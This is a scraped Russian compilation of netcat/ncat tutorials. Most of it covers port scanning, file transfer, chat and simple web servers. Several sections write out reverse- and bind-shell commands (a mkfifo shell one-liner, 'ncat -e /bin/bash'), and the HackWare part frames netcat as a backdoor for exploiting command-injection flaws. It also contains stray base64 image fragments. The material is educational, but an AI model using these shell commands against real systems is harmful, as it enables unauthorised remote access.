N c как использовать
Перейти к содержимому

N c как использовать

  • автор:

Команда nc (netcat) примеры

Утилита nc (или netcat) используется практически для всего, что касается TCP или UDP. Открытие TCP соединений, посылка UDP пакетов, прослушивание TCP и UDP портов, сканирование портов, и работа с версиями IPv4 и IPv6. В отличии от telnet, nc выводит сообщения об ошибках на стандартный вывод ошибок, вместо посылки их на просто стандартный вывод, как это делает telnet.

nc – реализация подключений и ожиданий входящих соединений, через TCP и UDP.

Основное применение netcat:

примитивное TCP проксирование
написание shell-сценариев эмулируюших HTTP запросы
тестирование сетевых демонов
SOCKS или HTTP ProxyCommand для ssh
и многое, многое другое

Синтаксис Netcat

Самый простой синтаксис утилиты Netcat имеет следующий вид:

nc [options] host port

По умолчанию Netcat пытается запустить TCP-соединение с указанным хостом и портом. Если вы хотите установить UDP-соединение, используйте параметр -u :

nc -u host port
nc -z -v -u 134.122.49.199 1194 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 134.122.49.199:1194. Ncat: UDP packet sent successfully Ncat: 1 bytes sent, 0 bytes received in 2.01 seconds

Опция -z укажет nc сканировать только открытые порты, не отправляя им никаких данных, а опция -v предоставит более подробную информацию.

Например, чтобы сканировать открытые порты в диапазоне 20-80, вы должны использовать следующую команду:

nc -z -v 10.10.8.8 20-80

Команда nc в Linux

Команда nc (netcat) служит для передачи и получения данных посредством протоколов TCP и UDP. Она не может похвастать большим набором функций, но при этом её достаточно для того, чтобы проверить соединение и провести несложную отладку.

Мы расмотрим несколько примеров, которые помогут понять то, как общаться посредством протокола TCP и как этому найти реальное прменение, вроде обмена файлами. Помимо этого не забудем упомянуть о более подходящих командах, всё же nc успела устареть.

Синтаксис и опции nc

Общий вид команды nc:

$ nc -параметры адрес порт(ы)

Часть параметров указывается с уточняющими значениями, а часть без них. Вот список наиболее востребованных параметров:

  • -6 – использовать протокол IPv6. По умолчанию используется параметр -4 и IPv4 соответственно;
  • -h – вывести справку со списком доступных параметров;
  • -i задержка – добавить задержку между отправкой строк или сканированием портов. Задаётся в секундах;
  • -l – режим прослушивания. Используется с указанием порта;
  • -N – закрыть соединение при достижении конца файла при его отправке;
  • -n – Работать с IP-адресами напрямую, не задействуя DNS, также отключить поиск портов;
  • -Pимя_пользователя – указать имя пользователя для подключения к прокси;
  • -x адрес:порт – указать адрес и порт для подключения к прокси;
  • -p порт – указать номер порта. В большинстве случаев порт считывается без указания параметра;
  • -U – использовать сокет домена UNIX (для межпроцессного взаимодействия);
  • -u – использовать протокол UDP, по умолчанию используется TСP;
  • -v – подробный режим. Используется при сканировании портов;
  • -W количество_пакетов – закрыть соединение после получения определённого количества пакетов;
  • -w таймер – включить таймер для ограничения времени соединения. Задаётся в секундах;
  • -z – отключить отправку данных. Используется при сканировании портов.

Примеры использования nc

1. Проверка порта

Проверка портов – это одно из основных применений команды nc. Для этого достаточно использовать два параметра -vz, указать адрес и порт. Помимо этого, вы можете указать диапазон адресов, но в этом случае лучше отсеять только открытые порты с помощью команды grep. В примере проверим порты адреса локальной сети:

nc -vz 192.168.31.247 8080

nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

gVpZrChG7K0IsDAz5Pb8fwj64Sv7+QPGAAAAAElFTkSuQmCC

Аналогичным способом можно просканировать порты UDP, добавив параметр -u:

nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

Обращаем ваше внимание на отличие между TCP и UDP. UDP порты всегда доступны.

2. Прослушивание порта

Для того, чтобы прослушивать порт используйте параметр -l. В общем случае этого достаточно, но можете включить подробный режим:

WwtBJzV6H7YAAAAASUVORK5CYII=

Напомним, что при использовании протокола TСP порт должен быть в свободен, в противном случае вы увидите ошибку: Already in use. Также стоит отметить, что не все порты могут использовать обычные пользователи, например, 80 порт (HTTP) мало того, что скорее всего окажется занят другим процессом, так ещё и потребует прав суперпользователя.

3. Чат и обмен файлами

Ещё одной полезной функцией команды nc является обмен данными. Давайте рассмотрим простейший пример – текстовый чат. Для того, чтобы запустить чат на одном компьютере запускаем утилиту в режиме прослушивания порта:

На другом компьютере потребуется указать адрес первого компьютера и тот же самый порт. Также не забудьте проверить, что порт открыт:

Из этого примера видно, что таким способом можно как отправлять, так и получать сообщения. Из этого вытекает ещё одно применение команды – обмен файлами. Действуем по аналогичному сценарию с тем лишь отличием, что вывод перенаправим в файл, в нашем случае paste.txt:

nc -l 8080 > paste.txt

На другом компьютере вводом будет служить файл copy.txt. Не лишним будет использовать параметр -N, чтобы после передачи файла закрыть соединение:

Для передачи файлов важно соблюсти последовательность, сначала открыть прослушивание и лишь потом отправлять файл.

Команда nc – это вполне рабочий, но далеко не самый лучший способ передачи файлов. Ранее мы рассматривали и другие способы передачи файлов, с ними вы сможете отслеживать прогресс передачи файла, а в ряде случаев даже возобновить процесс.

3. Простой веб-сервер

Так как команда nc работает с протоколом TСP, то c её помощью можно как отправлять, так и получать запросы HTTP, а это значит, что утилита может стать простейшим веб-сервером. Конечно, ничего сложнее страницы-заглушки у вас не получится запустить, но зато эта операция практически не отнимет времени, к тому же для этого не потребуется что-либо устанавливать.

В нашем примере мы сформируем ответ HTTP с файлом index.html. Если же говорить о самой команде np, то не лишним будет установить таймер параметром -w 1, чтобы разорвать соединение, если этого не сделает браузер:

while true; do echo -e «HTTP/1.1 200 OK\n\n$(cat index.html)» | nc -l -w 1 -p 8080; done

C+mxNClnjj1vAAAAABJRU5ErkJggg==

Для получения данных с сайта вы можете сформировать запрос и отправить его на советующий адрес и порт. Но такой способ довольно сложный, поэтому гораздо лучше воспользоваться более подходящей командой curl.

5. Удалённая оболочка

Если вспомнить то, как мы делали чат, может возникнуть ещё одна идея – удалённый доступ к оболочке компьютера. Ранее утилита nc имела несколько параметров для открытия доступа к терминалу. Параметр -e уже давно убрали из утилиты, поэтому простого доступа к терминалу уже не будет. Безопасность самого приложения стала выше, но оно по-прежнему может работать в связке с другими.

Покажем подключение с помощью именованного канала mkfifo. Но сначала запустим прослушивание порта на том компьютере, на котором будем получать доступ:

Теперь перейдём непосредственно к команде для открытия терминала. Сначала удалим старый именованный канал (rm /tmp/f), на его месте создадим новый (mkfifo /tmp/f), прочитаем его содержимое (cat /tmp/f), а на его вывод отправим команду оболочки (sh -i 2>&1). После этого останется запустить nc с выводом в наш именованный канал (nc 0.0.0.0 8080 >/tmp/f):

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

gbe8qRjOThhn77GAQEysIhoIuMDCsSioW2Q7tJvEdEfeVMsDeJDYxQORmkiMZx4K+n8FK4sVxYS9lQEszAy5Pf8LlLE3Zed6xWYAAAAASUVORK5CYII=

Надо понимать, что, по сути, это один из способов взлома, однако, он может быть полезен в том случае, если возникли проблем с ssh. Для того, чтобы предотвратить атаку настраивайте политику безопасности и межсетевой экран.

Выводы

Команда Netcat – это довольно старая программа, её основная задача – проверка портов. Если же говорить именно о сканировании сети, то nmap имеет гораздо больше функций. Зато с помощью nc можно организовать простейший обмен сообщениями типа клиент-сервер.

В качестве удалённой оболочки использовать nc также можно, но на самом деле способов подключения, помимо ssh, довольно много, есть даже шпаргалки и целые сайты, так что не забывайте проверять то, что вы вводите в терминале сервера.

Команда Netcat (nc) в Linux с примерами

Команда Netcat (nc) в Linux с примерами

N etcat (или nc) — это утилита командной строки, которая читает и записывает данные через сетевые подключения, используя протоколы TCP или UDP. Это одна из самых мощных инструментов в арсенале сетевых и системных администраторов, который считается швейцарским армейским ножом сетевых инструментов.

Netcat является кроссплатформенным и доступен для Linux, macOS, Windows и BSD. Вы можете использовать Netcat для отладки и мониторинга сетевых подключений, сканирования открытых портов, передачи данных в качестве прокси-сервера и многого другого. Пакет Netcat предустановлен в MacOS и популярных дистрибутивах Linux, таких как Ubuntu.

Синтаксис Netcat

Самый основной синтаксис утилиты Netcat имеет следующий вид:

nc [options] host port

В Ubuntu вы можете использовать либо netcat или nc. Обе они являются символическими ссылками на версию Netcat для openBSD.

По умолчанию Netcat пытается установить TCP-соединение с указанным хостом и портом. Если вы хотите установить UDP-соединение, используйте -uопцию:

nc -u host port

Сканирование портов

Сканирование портов является одним из наиболее распространенных способов использования Netcat. Вы можете сканировать один порт или диапазон портов.

Например, для поиска открытых портов в диапазоне 20-80 вы должны использовать следующую команду:

nc -z -v 10.9.9.9 20-80

Опция -z скажет nc сканировать только открытые порты, без отправки каких — либо данных на них и -v дает возможность предоставления более подробной информации.

Вывод будет выглядеть примерно так:

nc: connect to 10.9.9.9 port 20 (tcp) failed: Connection refused nc: connect to 10.9.9.9 port 21 (tcp) failed: Connection refused Connection to 10.9.9.9 22 port [tcp/ssh] succeeded! nc: connect to 10.9.9.9 port 23 (tcp) failed: Connection refused . nc: connect to 10.9.9.9 port 79 (tcp) failed: Connection refused Connection to 10.9.9.9 80 port [tcp/http] succeeded!

Если вы хотите распечатать только строки с открытыми портами, вы можете отфильтровать результаты с помощью команды grep.

nc -z -v 10.9.9.9 20-80 2>&1 | grep succeeded
Connection to 10.9.9.9 22 port [tcp/ssh] succeeded! Connection to 10.9.9.9 80 port [tcp/http] succeeded!

Вы также можете использовать Netcat для поиска серверного программного обеспечения и его версии. Например, если вы отправляете команду «EXIT» на сервер по стандартному SSH-порту 22:

echo "EXIT" | nc 10.9.9.9 22

Вывод будет выглядеть примерно так:

SSH-2.0-OpenSSH_7.6p1 Ubuntu-4 Protocol mismatch.

Для сканирования портов UDP просто добавьте параметр -u в команду, как показано ниже:

nc -z -v -u 10.9.9.9 20-80

В большинстве случаев Nmap лучше, чем Netcat, для сканирования сложных портов.

Отправка файлов через Netcat

Netcat можно использовать для передачи данных с одного хоста на другой, создав базовую модель клиент/сервер.

Это работает, настроив Netcat на прослушивание определенного порта (используя опцию -l) на принимающем хосте, а затем установив обычное TCP-соединение с другим хостом и отправив файл через него.

На приеме запустите следующую команду, которая откроет порт 5555 для входящего соединения и перенаправит вывод в файл:

nc -l 5555 > file_name

С узла-отправителя подключитесь к узлу-получателю и отправьте файл:

nc receiving.andreyex.ru 5555 < file_name

Для передачи каталога вы можете использовать tar для архивирования каталога на исходном хосте и для извлечения архива на конечном хосте.
На принимающем хосте настройте средство Netcat на прослушивание входящего соединения через порт 5555. Входящие данные передаются в команду tar, которая извлечет архив:

nc -l 5555 | tar xzvf -

На отправляющем хосте упакуйте каталог и отправьте данные, подключившись к процессу прослушивания nc на принимающем хосте:

tar czvf - /path/to/dir | nc receiving.andreyex.ru 5555

Вы можете наблюдать за прогрессом передачи на обоих концах. После завершения введите CTRL+C, чтобы закрыть соединение.

Создание простого сервера чата

Процедура создания онлайн-чата между двумя или более хостами такая же, как и при передаче файлов.

На первом хосте запустите процесс Netcat для прослушивания порта 5555:

nc -l 5555

Со второго хоста выполните следующую команду для подключения к порту прослушивания:

nc first.andreyex.ru 5555

Теперь, если вы наберете сообщение и нажмете ENTER, оно будет показано на обоих хостах.

Чтобы закрыть соединение, введите CTRL+C.

Выполнение HTTP-запроса

Несмотря на то, что есть намного лучшие инструменты для HTTP-запросов, такие как curl, вы также можете использовать Netcat для отправки различных запросов на удаленные серверы.

Например, чтобы получить справочную страницу Netcat с веб-сайта OpenBSD, введите:

printf "GET /nc.1 HTTP/1.1\r\nHost: man.openbsd.org\r\n\r\n" | nc man.openbsd.org 80

Полный ответ, включая заголовки HTTP и код HTML, будет напечатан в терминале.

Заключение

Из этой статьи вы узнали, как использовать утилиту Netcat для установки и тестирования соединений TCP и UDP.

Для получения дополнительной информации посетите справочную страницу Netcat и прочитайте обо всех других мощных параметрах команды Netcat.

Если у вас есть какие-либо вопросы или замечания, пожалуйста, оставьте комментарий ниже.

Если вы нашли ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter.

HackWare.ru

Этичный хакинг и тестирование на проникновение, информационная безопасность

Как пользоваться netcat (nc), ncat

Оглавление

Для чего Netcat

Программа Netcat — это полезная сетевая утилита, с помощью которой можно анализировать и моделировать работу многих сетевых протоколов (например, как это делать с HTTP и почтовым протоколом будет показано далее), можно выполнять команды на удалённой машине и закачивать или скачивать с неё файлы, перенаправлять трафик с одного порта на другой или с одной машины на другую. Безусловно, пентестеру (аудитору сетевой безопасности) нужно хорошо разбираться в сетевых протоколах и уметь использовать Netcat в процессе обучения.

Но по-настоящему ценность Netcat для пентестера в том, что это самый настоящий бэкдор! Причём поскольку утилита весьма полезная для администраторов сети, то она во многих системах, в том числе серверах, установлена по умолчанию.

Кстати: Если вы попали на эту статью так как вас интересует вопрос, как создать шелл (и что это такое, в чём отличие прямого и обратного шелла), то вам должна больше подойти тема «Как сделать прямой и обратный шелл (бэкдор) с Netcat».

То есть если в веб-приложении найдена уязвимость, к примеру, выполнение произвольных команд уровня системы, то среди разных путей эксплуатации, можно выбрать запуск Netcat, которая, если правильно её запустить, будет выполнять функции полноценного бэкдора, передавая наши команды системе. Причём Netcat имеет два режима: режим прослушивания и режим подключения. Если удалённый компьютер находиться за NAT и нет никакой возможности подключиться к нему напрямую по IP, то Netcat опять придёт на помощь! В режиме подключения она сама подсоединится к вашему компьютеру.

В статье про RouterSploit («Инструкция по использованию RouterSploit») в одном из проверяемых роутеров (это был мой собственный роутер) была найдена уязвимость удалённого выполнения команд, правда было ограничение на количество возвращаемой информации — она обрезалась после определённого числа символов. В подобных ситуациях можно использовать Netcat: в качестве команды на уязвимом роутере нужно запустить nc, затем подключиться к нему; в этом случае появится возможность выполнять команды через Netcat без ограничения на количество выводимой информации.

Можно предположить более трудный вариант — когда уязвимость удалённого внедрения команд присутствует, но вывод любых сообщений подавляется. В этом случае вновь удобнее работать через Netcat.

Кстати, Netcat настолько популярна, что по умолчанию присутствует даже в некоторых продвинутых роутерах — в том моём роутере Netcat установлена.

Само собой, использовать Netcat можно не только в деструктивных целях. Эта программа по своему прямому назначению будет очень полезна для сетевых администраторов и веб-мастеров. Например, у меня на виртуальном хостинге Netcat тоже присутствует.

Версии Netcat

Так получилось, что у Netcat много вариантов написанных разными авторами. Оригинальная версия называлась netcat (nc). Она быстро получила признание, но в какой-то момент автор перестал её разрабатывать и, несмотря на её популярность, также никто другой не стал поддерживать. По этой причине программу несколько раз переписывали разные авторы, причём иногда полностью с нуля.

netcat (nc)

Это оригинальная программа, последний выпуск которой состоялся в январе 2007 года. Её версия 1.10.

В некоторых системах, например, в Kali Linux, эта версия называется nc.traditional:

nc.traditional -h

Выведет справку по этой программе и покажет версию [v1.10-41.1]

ncat

Это современный вариант netcat, который написан с нуля, без использования кода оригинальной netcat. Авторами ncat являются авторы знаменитой программы Nmap.

Ncat повторяет практически всю функциональность оригинальной программы и содержит дополнительные функции.

Ncat стала официальной заменой для оригинальной netcat в некоторых дистрибутивах Linux, например, в Red Hat Enterprise Linux, CentOS, которые часто используются в качестве веб-серверов. По этой причине на многих компьютерах в сети вы найдёте именно Ncat — к примеру, на моём виртуальном хостинге в качестве Netcat установлена Ncat.

Ncat поставляется в пакете Nmap и, следовательно, доступна для разных платформ, в том числе для Windows. То есть для установки Ncat на Windows достаточно установить NMap.

В Kali Linux Ncat почему-то содержится в пакетах для архитектуры i386 и не содержится в пакете NMap, поэтому установка выполняется так:

sudo dpkg --add-architecture i386 && sudo apt update sudo apt install ncat

В Arch Linux, BlackArch и их производные для установки Ncat достаточно установить NMap:

sudo pacman -S nmap

gnu-netcat

GNU версия netcat, как сказано в описании «network piping application».

openbsd-netcat или netcat-openbsd

Вариант от OpenBSD. Как сказано в описании, армейский нож для работы с TCP/IP.

dbd

Ещё один клон Netcat, создан быть портативным и предлагает надёжное шифрование. Он работает на Unix подобных операционных системах и на Microsoft Win32.

sbd

И ещё один клон Netcat, портативный, предлагает надёжное шифрование, среди функций: шифрование AES-128-CBC + HMAC-SHA1, выполнение программ (-e), выбор порта источника, непрерывное переподключение с задержкой и другие возможности.

Или как сказано в другом описании: безопасный бэкдор для Linux и Windows.

cryptcat

Легковесная версия netcat, с добавленным шифрованием twofish.

netrw

Похожий на netcat инструмент с удобными функциями передачи файлов по сети.

webhandler

Обработчик системных функций PHP, а также альтернативный обработчик netcat.

Другие варианты этого классического инструмента включают в себя удивительно универсальный Socat, OpenBSD nc, Cryptcat, Netcat6, pnetcat, SBD и так называемый GNU Netcat.

В некоторых системах модифицированные версии или аналогичные утилиты netcat используют имена команд: nc, ncat, pnetcat, socat, sock, socket, sbd.

Итак, для своей работы вы можете выбрать одну из этих версий, какая вам больше нравится. При поиске интересных программ на чужих машинах, не нужно забывать об альтернативных вариантах, если сама netcat там отсутствует.

В этой инструкции я буду рассматривать преимущественно ncat.

Ncat: ваш универсальный сетевой коннектор

Начнём с описания Ncat взятого с официального сайта, чтобы как можно полнее охватить список возможностей этой программы. А затем мы перейдём к конкретным практическим примерам исходя из разных сценариев использования.

Ncat — это инструмент командной строки общего назначения для чтения, записи, перенаправления и шифрования данных в сети. Он призван стать вашим армейским швейцарским ножом при работе в сети, решающим широкий спектр задач по тестированию безопасности и администрированию. Ncat подходит для интерактивного использования или в качестве подключённого к сети бэкенда для других инструментов. Ncat может:

  • Выступать в качестве простого клиента TCP/UDP/SCTP/SSL для взаимодействия с веб-серверами, серверами Telnet, почтовыми серверами и другими сетевыми службами TCP/IP. Часто лучший способ понять службу (для устранения проблем, поиска уязвимостей в безопасности или тестирования пользовательских команд) — это взаимодействовать с ней с помощью Ncat. Это позволяет вам контролировать каждый отправленный символ и просматривать необработанные, нефильтрованные ответы.
  • Выступать в качестве простого сервера TCP/UDP/SCTP/SSL для предоставления услуг клиентам или просто для понимания того, что делают существующие клиенты, захватывая каждый байт, который они отправляют.
  • Перенаправить или проксировать TCP/UDP/SCTP трафик на другие порты или хосты. Это можно сделать с помощью простого перенаправления (все, что отправлено на порт, автоматически ретранслируется в другое место, указанное вами заранее) или в качестве прокси-сервера SOCKS или HTTP, чтобы клиенты указывали свои собственные назначения. В режиме клиента Ncat может подключаться к адресатам через цепочку анонимных или аутентифицированных прокси.
  • Работать на всех основных операционных системах. Имеются скомпилированные исполнимые файлы для Linux, Windows и Mac OS X, и в целом Ncat может быть скомпилирована на большинстве других систем. Надёжный инструмент должен быть доступен в любое время, независимо от того, какой компьютер вы используете.
  • Шифровать связь с помощью SSL и передавать её по IPv4 или IPv6.
  • Выступать в качестве сетевого шлюза для выполнения системных команд с перенаправлением ввода/вывода в сеть. Программа была разработана, чтобы работать как Unix утилита cat, но для сети.
  • Выступать в качестве посредника соединений, позволяя двум (или даже более) клиентам подключаться друг к другу через третий (посреднический) сервер. Это позволяет нескольким машинам, скрытым за шлюзами NAT, обмениваться данными друг с другом, а также включает режим простого чата Ncat.

Эти возможности становятся ещё более мощными и универсальными в сочетании друг с другом.

Ncat — это современная реинкарнация почтенного инструмента Netcat (nc), выпущенного Хоббит (Hobbit) в 1996 году. Хотя Ncat по духу похож на Netcat, они не имеют общего исходного кода. Вместо этого Ncat использует хорошо оптимизированные и протестированные сетевые библиотеки Nmap. Поддерживается совместимость с исходным Netcat и некоторыми хорошо известными вариантами, когда он не конфликтует с улучшениями Ncat и не вызывает проблем с удобством использования. Ncat добавляет много возможностей, которых нет в оригинальном nc Хоббит, включая поддержку SSL, прокси-соединения, IPv6 и посреднические (брокерские) соединения. Оригинальный nc содержал простой сканер портов, но авторы Ncat не стали добавлять эту функцию.

Принципы работы Ncat

Ncat имеет два основных режима: подключения и прослушивания.

При режиме подключения, программа соединяется с сетевыми службами, среди которых может быть как другой экземпляр запущенной Ncat, так и большинство других сервисов, например, HTTP (веб-сервер), почтовый сервер, FTP сервер, Telnet и так далее.

Второй режим работы Ncat называется «прослушивание». В этом режиме Ncat ожидает подключение от другого хоста. В данном режиме опциями можно включить дополнительные функции, например, сделать так, чтобы Ncat:

  • передавала полученные данные системе в качестве команд для выполнения
  • возвращала подключившемуся хосту файл (выполняла роль веб-сервера или использовалась для скачивания файла с удалённого хоста)
  • перенаправляла запросы на другой порт или адрес
  • работала в качестве прокси

Причём подключиться к Ncat в режиме прослушивания может как другой экземпляр Ncat (например, для передачи команд), так и другая программа — например, веб-браузер для просмотра или скачивания файла, либо другая программа поддерживающая работу через прокси.

Подключение к HTTP в Ncat

При подключении к удалённой службе вы вводите в виде простого текста команды (заголовки) данного протокола. Рассмотрим на примере протокола HTTP.

Подключимся к хосту hackware.ru на порту 80 (это служба HTTP сервера):

ncat -C hackware.ru 80

Кажется, что ничего не произошло:

Но на самом деле перед нами приглашение для ввода данных. Мы будем вводить заголовки протокола HTTP (это как команды, директивы — этими заголовками мы говорим веб-серверу, чего мы от него хотим; также заголовки используются в качестве передатчика метаинформации):

GET / HTTP/1.0 Host: hackware.ru

Обратите внимание, что после последней директивы (Host: hackware.ru) кнопка ENTER нажата дважды.

Сервер прислал нам ответ — HTML код.

Мы отправили правильные с точки зрения протокола HTTP заголовки (запросы). В первом мы указали использовать метод GET, показать главную страницу (/ означает запрос к корневой папке, а можно было бы указать конкретный путь, например, /index.php), и версию протокола HTTP/1.0.

Затем мы использовали директиву Host и вместе с ней указали интересующий нас хост (поскольку запрос делается к удалённому серверу по IP, а на этом IP множество виртуальных хостов). Кстати, можете попробовать сделать этот же запрос без указания хоста или с указанием другого хоста — полученные данные будут другими.

Вместо метода GET можно использовать метод HEAD и, например, сделаем запрос к произвольной странице:

ncat -C hackware.ru 80
HEAD /any_page.php HTTP/1.0 Host: hackware.ru

Как можно увидеть, использование метода HEAD приводит к показу только заголовков ответа.

То есть с веб-сервером можно общаться редактируя HTTP директивы посимвольно, отправляя буквально что угодно. В случае, если «на той стороне» роль веб-сервера выполняет какое-нибудь нестандартное решение, то описанным способом можно провести тестирование того, что поддерживает удалённая служба и как реагирует на необычные заголовки и команды протокола.

Также таким способом можно тестировать методы обхода блокировок путём модификации запросов в рамках допустимого протоколом, благодаря чему можно добиться того, что основанные на паттернах системы DPI будут пропускать этот трафик к заблокированным ресурсам. Некоторые такие способы описаны в GoodbyeDPI: замена слова Host в заголовке на hoSt, удаление пробелом между именем заголовка и значением в заголовке Host, добавление лишних пробелов между HTTP методом (GET, POST и т.д.) и URI, смешение регистров значения заголовка Host и т.д. То есть с помощью ncat можно делать низкоуровневые проверки, отладки фильтров сети и работы удалённых служб. Это как Ассемблер, но только для сети.

Причём HTTP приведена просто в качестве примера — можно работать с разными службами у которых заголовки или команды представляют собой простой текст.

Вернёмся к нашей первой команде

ncat -C hackware.ru 80

В простейшем виде команда подключения имеет вид:

ncat ХОСТ_ДЛЯ_ПОДКЛЮЧЕНИЯ ПОРТ

Ещё мы использовали опцию -C, она включает замену CRLF. То есть любые символы конца строки, которые мы вводим, будут заменены на CRLF. В качества конца строки требуется CRLF во многих протоколах, в том числе в HTTP, хотя многие серверы всё равно нормально принимают и обычный символ newline (LF). То есть на самом деле в данном случае можно было бы обойтись и без -C.

Подключение через SSL (HTTPS) в Ncat

Как мы можем увидеть что в первом, что во втором случае нам возвращается код ответа 302 Moved Temporarily — то есть делается редирект на другую страницу:

HTTP/1.1 302 Moved Temporarily Server: nginx Content-Type: text/html; charset=iso-8859-1 Connection: close Location: https://hackware.ru/any_page.php Date: Tue, 07 May 2019 02:56:40 GMT X-Page-Speed: 1.13.35.2-0 Cache-Control: max-age=0, no-cache

Как можно понять из директивы Location, нас перенаправляют на HTTPS протокол.

Чтобы в Ncat подключиться по SSL нужно:

  • указать опцию --ssl
  • указать соответствующий номер порта

Для протокола HTTPS портом по умолчанию является 443, поэтому подключаемся следующим образом:

ncat -C --ssl hackware.ru 443
GET / HTTP/1.0 Host: hackware.ru

В результате наконец-то нам показан HTML код запрашиваемой страницы:

Режим прослушивания Ncat

В этом режиме программа начинает прослушивать указанный порт в ожидании подключений. Для включения этого режима достаточно указать опцию -l. Опционально можно указать IP адрес интерфейса, на котором выполнять прослушивание (если не указать, то будет сделана привязка ко всем интерфейсам) и порт для прослушивания (если не указать, то по умолчанию используется порт 31337.

Для подключения к серверу, мне нужно будет знать IP адрес удалённого хоста, поэтому начинаю с команды, чтобы узнать его:

curl suip.biz/ip/ 185.26.122.50

Запускаем программу на удалённом хосте в режиме прослушивания с привязкой к порту 43210

ncat -l 43210

Кстати, я это делаю в SSH панели с веб доступом своего хостинга — потрясающая штука — работает прямо из личного кабинета:

Теперь с локального компьютера выполняю подключение:

ncat 185.26.122.50 43210

В этом примере и далее я буду использовать IP адрес 185.26.122.50 — очевидно, что в своей работе вам нужно поменять его на IP адрес (или имя хоста) машины, к которой вы выполняете подключение. Ещё я использую порт 43210 — вы можете выбрать любой другой не занятый на удалённой машине порт.

В любом из окон ncat (сервер или клиент) можно вводить текст и он будет отображён в другом окне с подключённым экземпляром ncat.

Суть работы очень проста — из одного окна в другое передаётся введённый текст и выводиться в стандартный вывод — это поведение программы по умолчанию. С помощью других опций можно настроить более интересные варианты деятельности — например, передавать присланный текст в операционную систему для выполнения в качестве команд.

Запуск команд через ncat

С помощью опции -e прослушиващую Ncat можно подключить к программе, которой она будет передавать команды для выполнения. В качестве частного случая в качестве такой команды можно указать "/bin/bash", то есть все переданные строки будут отправляться в оболочку Bash.

На удалённом сервере запускаем Ncat следующим образом:

ncat -l -e "/bin/bash" 43210

И подключаемся с локального компьютера:

ncat 185.26.122.50 43210

В локальной ncat я выполнил:

cd hackware.ru/logs ls -l

И получил список файлов на удалённом компьютере. То есть команды выполняются по аналогии с SSH.

Для обслуживания веб-сайтов можно прямо в локальной консоли вводить разные команды, например, делать резервные копии, загружать установочные файлы с официальных сайтов прямо на сервер, а не через свой компьютер.

Ну и функции бэкдора тоже заключены в этой же команде — если на сайте присутствует уязвимость, позволяющая выполнять команды уровня системы, то формируется соответствующий запрос к странице, чтобы в результате была запущена ncat с передачей команд в ОС. Затем атакующий подключается уже к серверу (к ncat) напрямую, минуя уязвимый сайт, чтобы отправлять ему команды. Немного дополнительной информации есть в примерах в статье «Техники обхода файерволов веб-приложений (Web Application Firewall (WAF)) (ч. 1)».

Если команды нужно выполнять в Windows системе, то нужно указать следующую опцию: -e cmd.exe

Подключение к Ncat если удалённая машина находиться за NAT

Если удалённая машина находится за NAT, то подключиться к ней невозможно (объяснения этому здесь).

Но с помощью Ncat можно настроить подключение между машинами, одна из которых за NAT. То есть конечный результат будет такой, как будто бы подключились к компьютеру за NAT.

В этом случае опции указываем немного по-другому.

На своём локальном компьютере запускаем

ncat -l 43210

Обратите внимание, что мы включили прослушивание, но не включили передачу команд в оболочку — потому что на локальном компьютере не нужно выполнять никакие команды!

А на удалённом компьютере мы запускаем программу так:

ncat -e "/bin/bash" ХОСТ 43210

В ней вместо ХОСТ должен быть IP адрес или имя хоста локального компьютера, на котором ncat запущена в режиме прослушивания. Также на удалённом компьютере указана опция -e "/bin/bash", которая позволит выполнять присланные команды.

Этим мы добьёмся подключения с компьютером за NAT и возможности выполнять на нём команды.

Как сделать так, чтобы при закрытии клиента Ncat, не отключался сервер Ncat

Если в консоли клиента нажать CTRL+c или CTRL+d, то закроется не только Ncat на локальном компьютере, но и Ncat к которой выполнялось подключение. Если вы хотите чтобы Ncat на сервере не закрывалась, то используйте опцию --keep-open:

ncat -l -e "/bin/bash" --keep-open 43210

Теперь если подключиться к удалённому компьютеру:

ncat 185.26.122.50 43210

А затем закрыть подключение к Ncat в режиме прослушивания, то экземпляр Ncat в удалённой системе продолжит свою работу и можно вновь подключиться к Ncat выступающей в роли сервера.

Как передать файлы на удалённый компьютер

С помощью Ncat можно выгрузить файлы на удалённый сервер. К примеру, мне нужно отправить файл some_stuff.txt. Тогда на сервере (куда будет загружен файл), запускаю:

ncat -l 43210 > some_stuff.txt

А на локальном компьютере (с которого будет выгружен файл) запускаю:

ncat 185.26.122.50 43210 < some_stuff.txt

Когда закончится передача, обе сессии ncat завершаться.

Как загрузить файл с удалённого компьютера

Предположим, мне нужно скачать с удалённого компьютера файл some_stuff.txt. Тогда на сервере я запускаю:

ncat -l 43210 < some_stuff.txt

А на локальном компьютере, куда будет скачен файл, запускаю Ncat следующим образом:

ncat 185.26.122.50 43210 > some_stuff.txt

Обратите внимание, что не будет ничего показано и после загрузки файла оба экземпляра Ncat продолжат работу.

Как сделать веб-сервер с Ncat

На самом деле, это будет веб-сервер одного файла, но, тем не менее, всё-таки это интересная возможность.

Итак, создадим файл hello.http и добавим в него следующее содержимое:

HTTP/1.0 200 OK  

Hello, world!

Запустим на сервере Ncat:

ncat -l 43210 < hello.http

В веб-браузере откроем адрес удалённого хоста с указанием порта: http://185.26.122.50:43210

Кстати, ncat на сервере покажет какие именно заголовки прислал веб-браузер:

Ещё один пример из официального мануала по ncat:

nc -lk -p 8080 --sh-exec "echo -e 'HTTP/1.1 200 OK\r\n'; cat index.html"

Или, если вы пользователь Windows:

ncat -lk -p 8080 --sh-exec "echo HTTP/1.1 200 OK& echo(&type index.html"

Эти команды запустят HTTP сервер, делающий доступным файл index.html из текущей рабочей директории. Чтобы открыть этот файл нужно в браузере посетить страницу http://localhost:8080/. Если вместо -p 8080 указать -p 80, то из URL можно удалить :8080. Обратите внимание, что этот файл будет отправлен независимо от запрошенного URL — чтобы изменить файл, который отправляется, нужно изменить команду Ncat или использовать скрипт httpd.lua.

Как с помощью Ncat получить доступ к службам, доступным только в локальной сети

С помощью уже рассмотренной опции --sh-exec можно любую программу, которая не является сетевой, сделать доступной по сети. Правда, из-за особенностей ввода-вывода (буферизация и всё такое) в интерактивном режиме не все программы будут работать хорошо.

